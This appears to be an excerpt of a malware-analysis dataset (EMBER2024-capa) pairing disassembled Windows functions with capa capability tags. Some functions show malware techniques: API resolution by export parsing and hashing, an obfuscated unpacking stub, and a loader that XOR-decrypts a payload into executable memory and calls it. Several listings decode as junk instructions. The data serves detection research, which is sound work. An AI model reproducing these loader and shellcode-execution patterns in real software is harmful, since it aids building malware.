joyce8/EMBER2024-capa huggingface dataset:
Function at 0x17eb1f71
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x17eb1fbb
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x17eb1f62
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x17eb1f71
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x182b7c14
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x17eb1fc2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.17e98e38
cmp eax, dword [ebp + 0xc]
pop eax
je 0x17eb2061
add edi, 4
add eax, 2
dec ecx
jne 0x17eb1fa7
call 0x17eb200e
loope 0x17eb2004
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x17eb205e
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x17eb206f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x17eb2022
cmp eax, ecx
ja 0x17eb2022
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x17eb20ac
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x17eb20a2
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.17e99317
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x416dc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x440ce0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
xor ebx, ebx
push esi
mov edx, 0xf
push edi
mov dword [esp + 0xc], ebx
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov ecx, dword [esp + 0x5c]
mov eax, dword [ecx + 0x14]
xor esi, esi
cmp eax, ebx
mov dword [esp + 0x50], ebx
jle 0x416f48
lea edi, [ecx + 4]
jmp 0x416e10
mov ecx, dword [esp + 0x5c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 0x10
jb 0x416e1c
mov eax, dword [edi]
jmp 0x416e1e
mov eax, edi
cmp byte [eax + esi], 0x7a
jg 0x416e35
cmp ecx, 0x10
jb 0x416e2d
mov eax, dword [edi]
jmp 0x416e2f
mov eax, edi
cmp byte [eax + esi], 0x61
jge 0x416e79
cmp ecx, 0x10
jb 0x416e3e
mov eax, dword [edi]
jmp 0x416e40
mov eax, edi
cmp byte [eax + esi], 0x5a
jg 0x416e57
cmp ecx, 0x10
jb 0x416e4f
mov eax, dword [edi]
jmp 0x416e51
mov eax, edi
cmp byte [eax + esi], 0x41
jge 0x416e79
cmp ecx, 0x10
jb 0x416e60
mov eax, dword [edi]
jmp 0x416e62
mov eax, edi
cmp byte [eax + esi], 0x39
jg 0x416eac
cmp ecx, 0x10
jb 0x416e71
mov eax, dword [edi]
jmp 0x416e73
mov eax, edi
cmp byte [eax + esi], 0x30
jl 0x416eac
cmp ecx, 0x10
jb 0x416e95
mov eax, dword [edi]
movsx eax, byte [eax + esi]
push eax
push 1
lea ecx, [esp + 0x34]
call fcn.00402110
jmp 0x416f33
mov eax, edi
movsx eax, byte [eax + esi]
push eax
push 1
lea ecx, [esp + 0x34]
call fcn.00402110
jmp 0x416f33
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp ecx, 0x10
mov byte [esp + 0x50], 1
jb 0x416ec6
mov eax, dword [edi]
jmp 0x416ec8
mov eax, edi
movzx ecx, byte [eax + esi]
push ecx
push 0x25
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 6
mov dword [ecx + 0x18], edx
mov dword [ecx + 0x14], ebx
push 0x4439bc
mov byte [ecx + 4], bl
call fcn.00403830
lea edx, [esp + 0x34]
push edx
call fcn.0041f6a0
add esp, 0x28
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x38]
call fcn.004034a0
cmp dword [esp + 0x28], 0x10
mov byte [esp + 0x50], bl
jb 0x416f23
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0042c508
add esp, 4
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 0x14]
inc esi
cmp esi, eax
mov edx, 0xf
jl 0x416e0c
mov esi, dword [esp + 0x58]
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x34]
mov dword [esi + 0x18], edx
mov dword [esi + 0x14], ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.00403740
cmp dword [esp + 0x44], 0x10
jb 0x416f78
mov ecx, dword [esp + 0x30]
push ecx
call fcn.0042c508
add esp, 4
mov ecx, dword [esp + 0x48]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x48
ret
Function at 0x41d9b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4414c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x18], ebp
mov dword [esp + 0x6c], 0xf
mov dword [esp + 0x68], ebp
mov byte [esp + 0x58], 0
mov ebx, dword [esp + 0x84]
mov ecx, dword [ebx + 0x14]
xor edi, edi
cmp ecx, ebp
mov dword [esp + 0x78], ebp
jbe 0x41db87
mov edx, 2
jmp 0x41da06
mov edx, dword [esp + 0x14]
cmp dword [ebx + 0x18], 0x10
jb 0x41da11
mov eax, dword [ebx + 4]
jmp 0x41da14
lea eax, [ebx + 4]
movzx eax, byte [eax + edi]
inc edi
inc edx
cmp eax, 0x25
mov dword [esp + 0x14], edx
jne 0x41dbd4
cmp edx, ecx
ja 0x41dbe8
mov edx, dword [0x44be34]
mov eax, edx
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebp
mov byte [esp + 0x20], 0
lea esi, [eax + 1]
jmp 0x41da50
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41da50
sub eax, esi
push eax
push edx
lea ecx, [esp + 0x24]
call fcn.00403830
cmp dword [ebx + 0x18], 0x10
lea eax, [ebx + 4]
jb 0x41da6f
mov eax, dword [eax]
movsx eax, byte [eax + edi]
push eax
call fcn.0042e177
add esp, 4
push 1
push ebp
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], al
call fcn.004032b0
mov ebx, eax
cmp dword [esp + 0x34], 0x10
jb 0x41daa7
mov edx, dword [esp + 0x20]
push edx
call fcn.0042c508
add esp, 4
mov edx, dword [0x44be34]
mov eax, 0xf
mov dword [esp + 0x34], eax
mov dword [esp + 0x50], eax
mov eax, edx
mov dword [esp + 0x30], ebp
mov byte [esp + 0x20], 0
mov dword [esp + 0x4c], ebp
mov byte [esp + 0x3c], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41dad1
sub eax, esi
push eax
push edx
lea ecx, [esp + 0x40]
call fcn.00403830
mov eax, dword [esp + 0x84]
mov ecx, dword [eax + 0x18]
mov esi, 0x10
add eax, 4
cmp ecx, esi
jb 0x41dafd
mov eax, dword [eax]
movsx eax, byte [eax + edi + 1]
push eax
call fcn.0042e177
add esp, 4
push 1
push ebp
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x44]
mov byte [esp + 0x1c], al
call fcn.004032b0
cmp dword [esp + 0x50], esi
mov dword [esp + 0x18], eax
jb 0x41db3b
mov edx, dword [esp + 0x3c]
push edx
call fcn.0042c508
mov eax, dword [esp + 0x1c]
add esp, 4
cmp ebx, 0xffffffff
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], ebp
mov byte [esp + 0x3c], 0
je 0x41db75
cmp eax, 0xffffffff
je 0x41db75
shl bl, 4
add bl, al
lea ecx, [esp + 0x54]
push ebx
push 1
call fcn.00402110
mov eax, dword [esp + 0x14]
add edi, 2
add eax, 2
mov dword [esp + 0x14], eax
mov ebx, dword [esp + 0x84]
mov ecx, dword [ebx + 0x14]
cmp edi, ecx
jb 0x41da02
mov esi, dword [esp + 0x80]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x5c]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebp
push eax
mov ecx, esi
mov byte [esi + 4], 0
call fcn.00403740
cmp dword [esp + 0x6c], 0x10
jb 0x41dbbf
mov ecx, dword [esp + 0x58]
push ecx
call fcn.0042c508
add esp, 4
mov ecx, dword [esp + 0x70]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6c
ret
cmp eax, 0x2b
jne 0x41dbe8
push 0x20
push 1
lea ecx, [esp + 0x5c]
call fcn.00402110
jmp 0x41db7c
push eax
push 1
lea ecx, [esp + 0x5c]
call fcn.00402110
jmp 0x41db7c
Function at 0x42b0e0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
test edx, edx
mov ecx, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
jbe 0x42b10f
push ebx
push edi
movzx edi, byte [ecx]
movzx ebx, al
xor edi, ebx
mov ebx, dword [edi*4 + 0x452420]
shr eax, 8
xor eax, ebx
inc ecx
dec edx
jne 0x42b0f5
pop edi
pop ebx
mov dword [esi], eax
pop esi
ret

Function at 0x42dddb
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x444498
call fcn.004302a0
mov edi, 0x94
mov eax, edi
call fcn.0042e1f0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [0x442100]
mov ecx, dword [esi + 0x10]
mov dword [0x44fb64], ecx
mov eax, dword [esi + 4]
mov dword [0x44fb70], eax
mov edx, dword [esi + 8]
mov dword [0x44fb74], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x44fb68], esi
cmp ecx, 2
je 0x42de3b
or esi, 0x8000
mov dword [0x44fb68], esi
shl eax, 8
add eax, edx
mov dword [0x44fb6c], eax
xor esi, esi
push esi
mov edi, dword [fcn.004420ec]
call edi
cmp word [eax], 0x5a4d
jne 0x42de76
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42de76
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x42de8e
cmp eax, 0x20b
je 0x42de7b
mov dword [ebp - 0x1c], esi
jmp 0x42dea2
cmp dword [ecx + 0x84], 0xe
jbe 0x42de76
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x42de9c
cmp dword [ecx + 0x74], 0xe
jbe 0x42de76
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0043291f
pop ecx
test eax, eax
jne 0x42deb6
push 0x1c
call fcn.0042ddb7
pop ecx
call fcn.00430e42
test eax, eax
jne 0x42dec7
push 0x10
call fcn.0042ddb7
pop ecx
call fcn.00435c91
mov dword [ebp - 4], esi
call fcn.00435a93
test eax, eax
jge 0x42dee0
push 0x1b
call fcn.0042dd92
pop ecx
call dword [0x442198]
mov dword [0x453bd8], eax
call fcn.00435971
mov dword [0x44f954], eax
call fcn.004358cf
test eax, eax
jge 0x42df06
push 8
call fcn.0042dd92
pop ecx
call fcn.0043569c
test eax, eax
jge 0x42df17
push 9
call fcn.0042dd92
pop ecx
push 1
call fcn.004312f7
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x42df2d
push eax
call fcn.0042dd92
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [0x442118]
call fcn.0043563f
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x42df4e
movzx eax, word [ebp - 0x40]
jmp 0x42df51
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00402ae0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x42df6f
push edi
call fcn.00431424
call fcn.00431446
jmp 0x42dfa1
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.004302db
ret
Function at 0x434033
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x434061
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x434068
cmp ebx, dword [eax + 4]
jae 0x434068
xor eax, eax
jmp 0x434258
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x434079
xor eax, eax
inc eax
jmp 0x434257
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x43408f
cmp ecx, edx
jae 0x4341d4
cmp dword [eax + 4], 0
je 0x434098
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x434080
cmp dword [ebp + 8], 0
je 0x4340ba
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4341d4
cmp eax, esi
jae 0x4341d4
mov eax, dword [0x44fbb8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4340df
cmp dword [esi*4 + 0x44fbc0], edi
je 0x4341d8
inc esi
cmp esi, eax
jl 0x4340cd
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x442128]
test eax, eax
je 0x434254
cmp dword [ebp - 8], 0x1000000
jne 0x434254
test byte [ebp - 0xc], 0xcc
je 0x43415d
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x434254
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x434254
cmp word [eax + 0x18], 0x10b
jne 0x434254
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x434254
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x43415d
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x43415d
test byte [ecx + 0x27], 0x80
jne 0x4341d4
push 1
push 0x44fc00
call dword [0x44209c]
test eax, eax
jne 0x434071
mov ecx, dword [0x44fbb8]
test ecx, ecx
mov edx, ecx
jle 0x434191
lea eax, [ecx*4 + 0x44fbbc]
cmp dword [eax], edi
je 0x434191
dec edx
sub eax, 4
test edx, edx
jg 0x434185
test edx, edx
jne 0x4341c2
push 0xf
pop ebx
cmp ecx, ebx
jg 0x43419e
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4341b6
lea eax, [edx*4 + 0x44fbc0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4341a4
cmp ecx, 0x10
jge 0x4341c2
inc ecx
mov dword [0x44fbb8], ecx
push 0
push 0x44fc00
call dword [0x44209c]
jmp 0x434071
xor eax, eax
jmp 0x434257
test esi, esi
jle 0x434071
mov ebx, dword [0x44209c]
push 1
push 0x44fc00
call ebx
test eax, eax
jne 0x434071
cmp dword [esi*4 + 0x44fbc0], edi
je 0x43422e
mov eax, dword [0x44fbb8]
lea esi, [eax - 1]
test esi, esi
jl 0x43421c
cmp dword [esi*4 + 0x44fbc0], edi
je 0x434218
dec esi
jns 0x43420c
test esi, esi
jge 0x43422c
cmp eax, 0x10
jge 0x434227
inc eax
mov dword [0x44fbb8], eax
lea esi, [eax - 1]
jmp 0x43422e
je 0x434246
xor ecx, ecx
test esi, esi
jl 0x434246
lea eax, [ecx*4 + 0x44fbc0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x434234
push 0
push 0x44fc00
call ebx
jmp 0x434071
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43aea0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [esp + 0x14]
jle 0x43aedb
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x43aeb8
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x43aef7
dec esi
je 0x43aef0
dec esi
jne 0x43aefc
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
ret 0xc
Function at 0x40ca80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40ca8f
pop dword [ebp - 0x44]
mov eax, 0x65aa82e3
sub eax, 0x6569b854
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x80c013c
add dword [ebp - 0x54], 0x4646440f
mov dword [ebp - 0x50], 0x96c47c45
add dword [ebp - 0x50], 0x9b6ed000
mov dword [ebp - 0x4c], 0xcef8419
sub dword [ebp - 0x4c], 0xc0a33feb
mov dword [ebp - 0x48], 0xfe07325c
sub dword [ebp - 0x48], 0xfe07325c
lea eax, [ebp - 0x54]
push eax
mov eax, 0xf8992a65
add eax, 0x7a8162b
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x3d625c32
sub dword [ebp - 0x54], 0xc8eff2dc
mov dword [ebp - 0x50], 0xe65b6ca5
add dword [ebp - 0x50], 0x5b10f4d0
mov dword [ebp - 0x4c], 0xd5413c94
add dword [ebp - 0x4c], 0x8e2e2fd8
mov dword [ebp - 0x48], 0x241116e1
add dword [ebp - 0x48], 0xdbeee91f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xc45bdffa
add eax, 0x3be56042
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3a499
push 0
call eax
mov ecx, 0x447a
xor edi, edi
add edi, eax
mov esi, 0x41c000
add esi, dword [ebp - 0x44]
mov ebx, 0x2f986ce2
add dword [ebp - 0x30], 0xb3861e7b
mov edx, dword [esi]
xor edx, ebx
sub dword [ebp - 0x18], 0x90b79ab4
mov dword [edi], edx
sub dword [ebp - 0x18], eax
add edi, 0x17e5651c
sub edi, 0x17e56518
add esi, 0x5c4220d7
sub esi, 0x5c4220d3
loop 0x40cba1
add eax, 0x9e9be858
sub eax, 0x9e9ae39d
xor ebx, ebx
add ebx, eax
add eax, 0x82b37cac
sub eax, 0x82b37ca7
mov ecx, 0xaa03d0ac
sub ecx, 0xa9c3d0ac
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403190], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x40152d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x28
call dbg.__main
movzx eax, byte [0x403174]
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp + 4], 0x154
mov dword [esp], 0x403020
call sym._xor_crypt
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x154
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4015ad
mov dword [esp], str.VirtualAlloc_failed
call sym._perror
mov eax, 1
jmp 0x40160b
mov eax, dword [ebp - 0x1c]
mov ebx, 0x403020
mov edx, 0x154
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
movzx eax, byte [0x403174]
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp + 4], 0x154
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._xor_crypt
mov eax, dword [ebp - 0x1c]
call eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401880
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4018e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401a00
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401914
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401997
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401900
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401a27
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a07
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401990
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x4019a0
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40191e
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop

Function at 0x401f50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x401fa5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401f9e
test eax, eax
jne 0x401f9e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f80
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4022e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402305
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402310
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402305
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402358
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40234e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40235a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402340
xor eax, eax
pop ebx
pop esi
ret
Function at 0x74751630
Capabilities:
Get volume information via ioctl

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
lea eax, [esp + 0xc]
push eax
push 0x60
push ecx
push 0
push 0
push 0x90064
push edx
call dword [sym.imp.kernel32.dll_DeviceIoControl]
neg eax
sbb eax, eax
neg eax
ret 8